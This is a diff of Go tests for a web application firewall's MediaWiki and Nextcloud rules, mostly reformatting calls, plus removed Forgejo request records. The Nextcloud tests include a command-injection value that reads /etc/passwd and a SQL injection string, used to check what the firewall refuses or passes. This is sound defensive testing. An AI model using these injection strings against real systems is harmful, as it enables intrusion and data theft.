 	for _, target := range targets {
 		got := inspect(t, crs, get(target+mediawikiCommandAttack))
@@ -400,12 +367,7 @@ func TestMediaWikiCommandAttackIsRefusedOutsideWikitext(t *testing.T) {
 
 		got, _ := inspectBody(t, crs, r, sent.field+mediawikiCommandAttack)
 		if got.Score < mediawikiThreshold {
-			t.Errorf(
+			t.Errorf("POST %s %s let through: %+v", sent.target, sent.field, got)
-				"POST %s %s let through: %+v",
-				sent.target,
-				sent.field,
-				got,
-			)
 		}
 	}
 
@@ -420,11 +382,7 @@ func TestMediaWikiCommandAttackIsRefusedOutsideWikitext(t *testing.T) {
 	// wpTitles skips 932125, 932230, 932235, 932260 and 932380 only when it
 	// holds no ";", "|", "&", backtick or "{", and only when the body sends
 	// it once.
-	r = request{
+	r = request{http.MethodPost, mediawikiWatchlist.target, []string{formData}}
-		http.MethodPost,
-		mediawikiWatchlist.target,
-		[]string{formData},
-	}
 
 	for _, attack := range []string{
 		mediawikiCommandAttack,
@@ -470,13 +428,7 @@ func TestMediaWikiHardValuesPassInTheExcludedFields(t *testing.T) {
 
 			got, _ := inspectBody(t, crs, r, sent.field+value)
 			if got.Score >= mediawikiThreshold {
-				t.Errorf(
+				t.Errorf("POST %s %s%s refused: %+v", sent.target, sent.field, value, got)
-					"POST %s %s%s refused: %+v",
-					sent.target,
-					sent.field,
-					value,
-					got,
-				)
 			}
 		}
 
@@ -492,11 +444,7 @@ func TestMediaWikiHardValuesPassInTheExcludedFields(t *testing.T) {
 		}
 
 		// A watchlist holds the title on its second line, as recorded.
-		r := request{
+		r := request{http.MethodPost, mediawikiWatchlist.target, []string{formData}}
-			http.MethodPost,
-			mediawikiWatchlist.target,
-			[]string{formData},
-		}
 		body := mediawikiWatchlist.field + "Lighthouse%20notes%0D%0A" + value + "%20notes"
 
 		if got, _ := inspectBody(t, crs, r, body); got.Score >= mediawikiThreshold {
@@ -569,11 +517,7 @@ func TestMediaWikiBodyFieldsStayCheckedInTheQuery(t *testing.T) {
 		{"/index.php?title=Special:EditWatchlist/raw", "wpTitles=python3"},
 		{mediawikiAPI + "?action=edit", "text=python3"},
 	} {
-		r := request{
+		r := request{http.MethodPost, sent.target + "&" + sent.field, []string{formData}}
-			http.MethodPost,
-			sent.target + "&" + sent.field,
-			[]string{formData},
-		}
 
 		got, _ := inspectBody(t, crs, r, sent.field)
 		if got.Score < mediawikiThreshold {

internal/coreruleset/nextcloud_test.go

@@ -107,12 +107,7 @@ var nextcloudBodies = []nextcloudBody{
 		http.MethodPut, nextcloudUsers + "/admin",
 		jsonBody, `{"key":"headline","value":"%s"}`,
 	},
-	{
+	{http.MethodPost, "/ocs/v2.php/cloud/groups", jsonBody, `{"groupid":"%s"}`},
-		http.MethodPost,
-		"/ocs/v2.php/cloud/groups",
-		jsonBody,
-		`{"groupid":"%s"}`,
-	},
 	{http.MethodPost, nextcloudShares, jsonBody, `{"path":"/%s"}`},
 	{http.MethodPost, nextcloudShares, jsonBody, `{"shareWith":"%s"}`},
 	{http.MethodPut, nextcloudShares + "/1", jsonBody, `{"label":"%s"}`},
@@ -120,42 +115,17 @@ var nextcloudBodies = []nextcloudBody{
 		http.MethodPost, "/apps/theming/ajax/updateStylesheet",
 		jsonBody, `{"setting":"slogan","value":"%s"}`,
 	},
-	{
+	{http.MethodPost, nextcloudSave, jsonBody, `{"filePath":"/%s/Readme.md"}`},
-		http.MethodPost,
+	{http.MethodPost, "/remote.php/dav/systemtags/", jsonBody, `{"name":"%s"}`},
-		nextcloudSave,
-		jsonBody,
-		`{"filePath":"/%s/Readme.md"}`,
-	},
-	{
-		http.MethodPost,
-		"/remote.php/dav/systemtags/",
-		jsonBody,
-		`{"name":"%s"}`,
-	},
 	{
 		nextcloudSearch, "/remote.php/dav/", xmlBody,
 		`<d:searchrequest xmlns:d="DAV:"><d:basicsearch><d:where><d:like>` +
 			`<d:prop><d:displayname/></d:prop><d:literal>%%s%</d:literal>` +
 			`</d:like></d:where></d:basicsearch></d:searchrequest>`,
 	},
-	{
+	{nextcloudMkcol, nextcloudCalendars + "work", xmlBody, nextcloudNewCollection},
-		nextcloudMkcol,
+	{nextcloudMkcol, nextcloudAddressBooks + "team", xmlBody, nextcloudNewCollection},
-		nextcloudCalendars + "work",
+	{nextcloudMkcalendar, nextcloudCalendars + "work/", xmlBody, nextcloudNewCalendar},
-		xmlBody,
-		nextcloudNewCollection,
-	},
-	{
-		nextcloudMkcol,
-		nextcloudAddressBooks + "team",
-		xmlBody,
-		nextcloudNewCollection,
-	},
-	{
-		nextcloudMkcalendar,
-		nextcloudCalendars + "work/",
-		xmlBody,
-		nextcloudNewCalendar,
-	},
 }
 
 // The WebDAV methods that make a calendar or an address book.
@@ -217,12 +187,7 @@ var nextcloudDocument = nextcloudBody{
 //nolint:gochecknoglobals // a constant cannot be a list
 var nextcloudTexts = []nextcloudBody{
 	nextcloudDocument,
-	{
+	{http.MethodPost, "/remote.php/dav/comments/files/1", jsonBody, `{"message":"%s"}`},
-		http.MethodPost,
-		"/remote.php/dav/comments/files/1",
-		jsonBody,
-		`{"message":"%s"}`,
-	},
 	{
 		nextcloudPropPatch, "/remote.php/dav/comments/files/1/2", xmlBody,
 		`<d:propertyupdate xmlns:d="DAV:" xmlns:oc="http://owncloud.org/ns">` +
@@ -230,12 +195,7 @@ var nextcloudTexts = []nextcloudBody{
 			`</d:propertyupdate>`,
 	},
 	{http.MethodPut, nextcloudShares + "/1", jsonBody, `{"note":"%s"}`},
-	{
+	{http.MethodPost, nextcloudShares, jsonBody, `{"path":"/Notes","note":"%s"}`},
-		http.MethodPost,
-		nextcloudShares,
-		jsonBody,
-		`{"path":"/Notes","note":"%s"}`,
-	},
 	{
 		http.MethodPut, "/ocs/v1.php/apps/files_sharing/api/v1/shares/1",
 		formData, "note=%s",
@@ -263,10 +223,7 @@ const nextcloudCodeBlock = "```bash\n#!/bin/bash\nset -e\n" +
 // nextcloudBodyScore returns the request that sends value, which is not
 // escaped, in sent's body, and the score crs gives it.
 func nextcloudBodyScore(
-	t *testing.T,
+	t *testing.T, crs *coreruleset.CoreRuleSet, sent nextcloudBody, value string,
-	crs *coreruleset.CoreRuleSet,
-	sent nextcloudBody,
-	value string,
 ) (string, int) {
 	t.Helper()
 
@@ -301,11 +258,7 @@ func nextcloudFieldScores(t *testing.T, value string) map[string]int {
 	scores := map[string]int{}
 
 	for _, target := range nextcloudQueryFields {
-		scores["GET "+target+value] = inspect(
+		scores["GET "+target+value] = inspect(t, crs, get(target+value)).Score
-			t,
-			crs,
-			get(target+value),
-		).Score
 	}
 
 	for _, sent := range nextcloudFormFields {
@@ -397,23 +350,11 @@ func TestNextcloudPasswordFieldsPass(t *testing.T) {
 		{"/apps/user_ldap/renewpassword", formData, change},
 		{"/index.php/apps/user_ldap/renewpassword", formData, change},
 		{"/apps/encryption/ajax/updatePrivateKeyPassword", formData, change},
-		{
+		{"/index.php/apps/encryption/ajax/updatePrivateKeyPassword", formData, change},
-			"/index.php/apps/encryption/ajax/updatePrivateKeyPassword",
-			formData,
-			change,
-		},
 		{"/apps/encryption/ajax/changeRecoveryPassword", formData, recovery},
-		{
+		{"/index.php/apps/encryption/ajax/changeRecoveryPassword", formData, recovery},
-			"/index.php/apps/encryption/ajax/changeRecoveryPassword",
-			formData,
-			recovery,
-		},
 		{"/apps/encryption/ajax/adminRecovery", formData, adminRecovery},
-		{
+		{"/index.php/apps/encryption/ajax/adminRecovery", formData, adminRecovery},
-			"/index.php/apps/encryption/ajax/adminRecovery",
-			formData,
-			adminRecovery,
-		},
 		{"/login/confirm", jsonBody, password},
 		{"/index.php/login/confirm", formData, password},
 		{"/lostpassword/set/AbCdEf/alice", jsonBody, password},
@@ -468,12 +409,7 @@ func TestNextcloudUserPasswordInValuePasses(t *testing.T) {
 		{jsonRequest, jsonPassword("; cat /etc/passwd")},
 	} {
 		if got, _ := inspectBody(t, crs, sent.r, sent.body); got.Score >= threshold {
-			t.Errorf(
+			t.Errorf("%s %.40s refused: %+v", sent.r.headers[0], sent.body, got)
-				"%s %.40s refused: %+v",
-				sent.r.headers[0],
-				sent.body,
-				got,
-			)
 		}
 	}
 
@@ -488,12 +424,7 @@ func TestNextcloudUserPasswordInValuePasses(t *testing.T) {
 		{jsonRequest, `{"key":"email","value":"' OR '1'='1"}`},
 	} {
 		if got, _ := inspectBody(t, crs, sent.r, sent.body); got.Score < threshold {
-			t.Errorf(
+			t.Errorf("%s %.40s let through: %+v", sent.r.headers[0], sent.body, got)
-				"%s %.40s let through: %+v",
-				sent.r.headers[0],
-				sent.body,
-				got,
-			)
 		}
 	}
 
@@ -521,12 +452,7 @@ func TestNextcloudSentencesPassInTheTexts(t *testing.T) {
 
 	document := "Backup steps:\n\n" + nextcloudCodeBlock
 
-	request, score := nextcloudBodyScore(
+	request, score := nextcloudBodyScore(t, readingBodies(t), nextcloudDocument, document)
-		t,
-		readingBodies(t),
-		nextcloudDocument,
-		document,
-	)
 	if score >= nextcloudThreshold {
 		t.Errorf("%s refused: %d", request, score)
 	}
@@ -573,10 +499,7 @@ func TestNextcloudAccountCookieSkipsTheFourRules(t *testing.T) {
 	crs := atDefaults(t)
 
 	cookie := func(value string) request {
-		return get(
+		return get("/apps/files/", "Cookie: nc_sameSiteCookielax=true; nc_username="+value)
-			"/apps/files/",
-			"Cookie: nc_sameSiteCookielax=true; nc_username="+value,
-		)
 	}
 
 	for _, value := range hardValues {
@@ -633,40 +556,20 @@ func TestNextcloudWebDAVMethodsAreAllowedOnlyThere(t *testing.T) {
 
 	// MKCALENDAR only where the calendars are.
 	for _, target := range []string{nextcloudCalendars, nextcloudCalendars + "work/"} {
-		wantResult(
+		wantResult(t, crs, request{nextcloudMkcalendar, target, nil}, matched())
-			t,
-			crs,
-			request{nextcloudMkcalendar, target, nil},
-			matched(),
-		)
 	}
 
 	for _, target := range []string{
 		nextcloudFiles, nextcloudAddressBooks, "/remote.php/dav/",
 		"/x/remote.php/dav/calendars/",
 	} {
-		wantResult(
+		wantResult(t, crs, request{nextcloudMkcalendar, target, nil}, matched(911100))
-			t,
-			crs,
-			request{nextcloudMkcalendar, target, nil},
-			matched(911100),
-		)
 	}
 
 	// PROPFIND, and no other WebDAV method, where a client asks for them.
 	for _, target := range []string{"/.well-known/caldav", "/.well-known/carddav"} {
-		wantResult(
+		wantResult(t, crs, request{nextcloudPropFind, target, nil}, matched())
-			t,
+		wantResult(t, crs, request{nextcloudMkcol, target, nil}, matched(911100))
-			crs,
-			request{nextcloudPropFind, target, nil},
-			matched(),
-		)
-		wantResult(
-			t,
-			crs,
-			request{nextcloudMkcol, target, nil},
-			matched(911100),
-		)
 	}
 
 	other := request{nextcloudPropFind, "/.well-known/other", nil}
@@ -700,12 +603,7 @@ func TestNextcloudDescriptionsPassAndAttacksAreRefused(t *testing.T) {
 	} {
 		sent := described.sent
 
-		request, score := nextcloudBodyScore(
+		request, score := nextcloudBodyScore(t, crs, sent, described.description)
-			t,
-			crs,
-			sent,
-			described.description,
-		)
 		if score >= nextcloudThreshold {
 			t.Errorf("%s refused: %d", request, score)
 		}
@@ -727,12 +625,7 @@ func TestNextcloudDescriptionsPassAndAttacksAreRefused(t *testing.T) {
 		// An MKCOL on the calendars' paths skips only the rules for names.
 		sent.method, sent.target = nextcloudMkcol, nextcloudCalendars+"work/"
 
-		request, score = nextcloudBodyScore(
+		request, score = nextcloudBodyScore(t, crs, sent, described.description)
-			t,
-			crs,
-			sent,
-			described.description,
-		)
 		if score < nextcloudThreshold {
 			t.Errorf("%s let through: %d", request, score)
 		}
@@ -768,10 +661,7 @@ func TestNextcloudChangedEventsAndContactsPass(t *testing.T) {
 			[]string{"Content-Type: text/plain; charset=UTF-8; charset=UTF-8"},
 		},
 	} {
-		if got := inspect(t, crs, refused); !slices.Contains(
+		if got := inspect(t, crs, refused); !slices.Contains(got.RuleIDs, 920530) {
-			got.RuleIDs,
-			920530,
-		) {
 			t.Errorf("%s %s %q let through: %+v",
 				refused.method, refused.target, refused.headers, got)
 		}
@@ -812,12 +702,7 @@ func TestNextcloudUploadsAreNotReadAsFields(t *testing.T) {
 		} {
 			got, _ := inspectBody(t, crs, refused, upload.body)
 			if got.Score < nextcloudThreshold {
-				t.Errorf(
+				t.Errorf("%s %s let through: %+v", refused.method, refused.target, got)
-					"%s %s let through: %+v",
-					refused.method,
-					refused.target,
-					got,
-				)
 			}
 		}
 	}
@@ -828,13 +713,7 @@ func TestNextcloudPathTraversalIsRefusedInWebDAVPaths(t *testing.T) {
 
 	crs := atDefaults(t)
 
-	methods := []string{
+	methods := []string{http.MethodGet, http.MethodPut, nextcloudPropFind, "MOVE", "LOCK"}
-		http.MethodGet,
-		http.MethodPut,
-		nextcloudPropFind,
-		"MOVE",
-		"LOCK",
-	}
 
 	for _, method := range methods {
 		for _, target := range []string{
@@ -922,13 +801,7 @@ func TestNextcloudExclusionsAreNarrow(t *testing.T) {
 
 		got, _ := inspectBody(t, crs, r, sent.body)
 		if got.Score < nextcloudThreshold {
-			t.Errorf(
+			t.Errorf("%s %s %s let through: %+v", sent.method, sent.target, sent.body, got)
-				"%s %s %s let through: %+v",
-				sent.method,
-				sent.target,
-				sent.body,
-				got,
-			)
 		}
 	}
 }

internal/coreruleset/recorded_test.go

@@ -125,14 +125,11 @@ func wantRecordedRequestsPass(t *testing.T, name string) {
 				t.Errorf("%s %s refused: %+v", r.method, r.target, got)
 			}
 
-			typed := slices.ContainsFunc(
+			typed := slices.ContainsFunc(recorded.Headers, func(header string) bool {
-				recorded.Headers,
+				name, _, _ := strings.Cut(header, ":")
-				func(header string) bool {
-					name, _, _ := strings.Cut(header, ":")
 
-					return strings.EqualFold(name, "Content-Type")
+				return strings.EqualFold(name, "Content-Type")
-				},
+			})
-			)
 			if recorded.Body == "" && !typed {
 				return
 			}

internal/coreruleset/testdata/forgejo-requests.txt

@@ -190,215 +190,6 @@
 {"method": "GET", "target": "/alice/tools/commits/branch/main/search?q=release%20notes&all=true", "headers": ["Host: example.com", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Accept-Encoding: gzip, deflate", "Cookie: session=d65379616ffd0971; lang=en-US"], "body": ""}
 {"method": "GET", "target": "/alice/-/packages?q=release%20notes", "headers": ["Host: example.com", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Accept-Encoding: gzip, deflate", "Cookie: session=d65379616ffd0971; lang=en-US"], "body": ""}
 {"method": "GET", "target": "/alice/tools/wiki/search?q=release%20notes", "headers": ["Host: example.com", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Accept-Encoding: gzip, deflate", "Cookie: session=d65379616ffd0971; lang=en-US"], "body": ""}
-{"method": "GET", "target": "/alice/tools/search/branch/main?path=&q=python3&mode=exact", "headers": ["Host: example.com", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Accept-Encoding: gzip, deflate", "Cookie: session=d65379616ffd0971; lang=en-US"], "body": ""}
-{"method": "GET", "target": "/alice/tools/search/tag/v1.0?path=&q=python3&mode=exact", "headers": ["Host: example.com", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Accept-Encoding: gzip, deflate", "Cookie: session=d65379616ffd0971; lang=en-US"], "body": ""}
-{"method": "GET", "target": "/alice/tools/releases?q=python3", "headers": ["Host: example.com", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Accept-Encoding: gzip, deflate", "Cookie: session=d65379616ffd0971; lang=en-US"], "body": ""}
-{"method": "GET", "target": "/api/v1/repos/alice/tools/releases?q=python3", "headers": ["Host: example.com", "User-Agent: curl/8.17.0", "Accept: */*", "Authorization: token 518efde244d57864ef12487cdec73aa828e5deaf"], "body": ""}
-{"method": "GET", "target": "/api/v1/repos/alice/tools/actions/jobs/1/logs?q=python3", "headers": ["Host: example.com", "User-Agent: curl/8.17.0", "Accept: */*", "Authorization: token 518efde244d57864ef12487cdec73aa828e5deaf"], "body": ""}
-{"method": "GET", "target": "/alice/tools/search/branch/main?path=&q=powershell&mode=exact", "headers": ["Host: example.com", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Accept-Encoding: gzip, deflate", "Cookie: session=d65379616ffd0971; lang=en-US"], "body": ""}
-{"method": "GET", "target": "/alice/tools/search/tag/v1.0?path=&q=powershell&mode=exact", "headers": ["Host: example.com", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Accept-Encoding: gzip, deflate", "Cookie: session=d65379616ffd0971; lang=en-US"], "body": ""}
-{"method": "GET", "target": "/alice/tools/releases?q=powershell", "headers": ["Host: example.com", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Accept-Encoding: gzip, deflate", "Cookie: session=d65379616ffd0971; lang=en-US"], "body": ""}
-{"method": "GET", "target": "/api/v1/repos/alice/tools/releases?q=powershell", "headers": ["Host: example.com", "User-Agent: curl/8.17.0", "Accept: */*", "Authorization: token 518efde244d57864ef12487cdec73aa828e5deaf"], "body": ""}
-{"method": "GET", "target": "/api/v1/repos/alice/tools/actions/jobs/1/logs?q=powershell", "headers": ["Host: example.com", "User-Agent: curl/8.17.0", "Accept: */*", "Authorization: token 518efde244d57864ef12487cdec73aa828e5deaf"], "body": ""}
-{"method": "GET", "target": "/alice/tools/search/branch/main?path=&q=ls%20-la&mode=exact", "headers": ["Host: example.com", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Accept-Encoding: gzip, deflate", "Cookie: session=d65379616ffd0971; lang=en-US"], "body": ""}
-{"method": "GET", "target": "/alice/tools/search/tag/v1.0?path=&q=ls%20-la&mode=exact", "headers": ["Host: example.com", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Accept-Encoding: gzip, deflate", "Cookie: session=d65379616ffd0971; lang=en-US"], "body": ""}
-{"method": "GET", "target": "/alice/tools/releases?q=ls%20-la", "headers": ["Host: example.com", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Accept-Encoding: gzip, deflate", "Cookie: session=d65379616ffd0971; lang=en-US"], "body": ""}
-{"method": "GET", "target": "/api/v1/repos/alice/tools/releases?q=ls%20-la", "headers": ["Host: example.com", "User-Agent: curl/8.17.0", "Accept: */*", "Authorization: token 518efde244d57864ef12487cdec73aa828e5deaf"], "body": ""}
-{"method": "GET", "target": "/api/v1/repos/alice/tools/actions/jobs/1/logs?q=ls%20-la", "headers": ["Host: example.com", "User-Agent: curl/8.17.0", "Accept: */*", "Authorization: token 518efde244d57864ef12487cdec73aa828e5deaf"], "body": ""}
-{"method": "GET", "target": "/alice/tools/search/branch/main?path=&q=.htaccess&mode=exact", "headers": ["Host: example.com", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Accept-Encoding: gzip, deflate", "Cookie: session=d65379616ffd0971; lang=en-US"], "body": ""}
-{"method": "GET", "target": "/alice/tools/search/tag/v1.0?path=&q=.htaccess&mode=exact", "headers": ["Host: example.com", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Accept-Encoding: gzip, deflate", "Cookie: session=d65379616ffd0971; lang=en-US"], "body": ""}
-{"method": "GET", "target": "/alice/tools/releases?q=.htaccess", "headers": ["Host: example.com", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Accept-Encoding: gzip, deflate", "Cookie: session=d65379616ffd0971; lang=en-US"], "body": ""}
-{"method": "GET", "target": "/api/v1/repos/alice/tools/releases?q=.htaccess", "headers": ["Host: example.com", "User-Agent: curl/8.17.0", "Accept: */*", "Authorization: token 518efde244d57864ef12487cdec73aa828e5deaf"], "body": ""}
-{"method": "GET", "target": "/api/v1/repos/alice/tools/actions/jobs/1/logs?q=.htaccess", "headers": ["Host: example.com", "User-Agent: curl/8.17.0", "Accept: */*", "Authorization: token 518efde244d57864ef12487cdec73aa828e5deaf"], "body": ""}
-{"method": "GET", "target": "/alice/tools/search/branch/main?path=&q=docker-compose.yml&mode=exact", "headers": ["Host: example.com", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Accept-Encoding: gzip, deflate", "Cookie: session=d65379616ffd0971; lang=en-US"], "body": ""}
-{"method": "GET", "target": "/alice/tools/search/tag/v1.0?path=&q=docker-compose.yml&mode=exact", "headers": ["Host: example.com", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Accept-Encoding: gzip, deflate", "Cookie: session=d65379616ffd0971; lang=en-US"], "body": ""}
-{"method": "GET", "target": "/alice/tools/releases?q=docker-compose.yml", "headers": ["Host: example.com", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Accept-Encoding: gzip, deflate", "Cookie: session=d65379616ffd0971; lang=en-US"], "body": ""}
-{"method": "GET", "target": "/api/v1/repos/alice/tools/releases?q=docker-compose.yml", "headers": ["Host: example.com", "User-Agent: curl/8.17.0", "Accept: */*", "Authorization: token 518efde244d57864ef12487cdec73aa828e5deaf"], "body": ""}
-{"method": "GET", "target": "/api/v1/repos/alice/tools/actions/jobs/1/logs?q=docker-compose.yml", "headers": ["Host: example.com", "User-Agent: curl/8.17.0", "Accept: */*", "Authorization: token 518efde244d57864ef12487cdec73aa828e5deaf"], "body": ""}
-{"method": "GET", "target": "/alice/tools/search/branch/main?path=&q=install-script.sh&mode=exact", "headers": ["Host: example.com", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Accept-Encoding: gzip, deflate", "Cookie: session=d65379616ffd0971; lang=en-US"], "body": ""}
-{"method": "GET", "target": "/alice/tools/search/tag/v1.0?path=&q=install-script.sh&mode=exact", "headers": ["Host: example.com", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Accept-Encoding: gzip, deflate", "Cookie: session=d65379616ffd0971; lang=en-US"], "body": ""}
-{"method": "GET", "target": "/alice/tools/releases?q=install-script.sh", "headers": ["Host: example.com", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Accept-Encoding: gzip, deflate", "Cookie: session=d65379616ffd0971; lang=en-US"], "body": ""}
-{"method": "GET", "target": "/api/v1/repos/alice/tools/releases?q=install-script.sh", "headers": ["Host: example.com", "User-Agent: curl/8.17.0", "Accept: */*", "Authorization: token 518efde244d57864ef12487cdec73aa828e5deaf"], "body": ""}
-{"method": "GET", "target": "/api/v1/repos/alice/tools/actions/jobs/1/logs?q=install-script.sh", "headers": ["Host: example.com", "User-Agent: curl/8.17.0", "Accept: */*", "Authorization: token 518efde244d57864ef12487cdec73aa828e5deaf"], "body": ""}
-{"method": "GET", "target": "/alice/tools/search/branch/main?path=&q=release%20notes&mode=exact", "headers": ["Host: example.com", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Accept-Encoding: gzip, deflate", "Cookie: session=d65379616ffd0971; lang=en-US"], "body": ""}
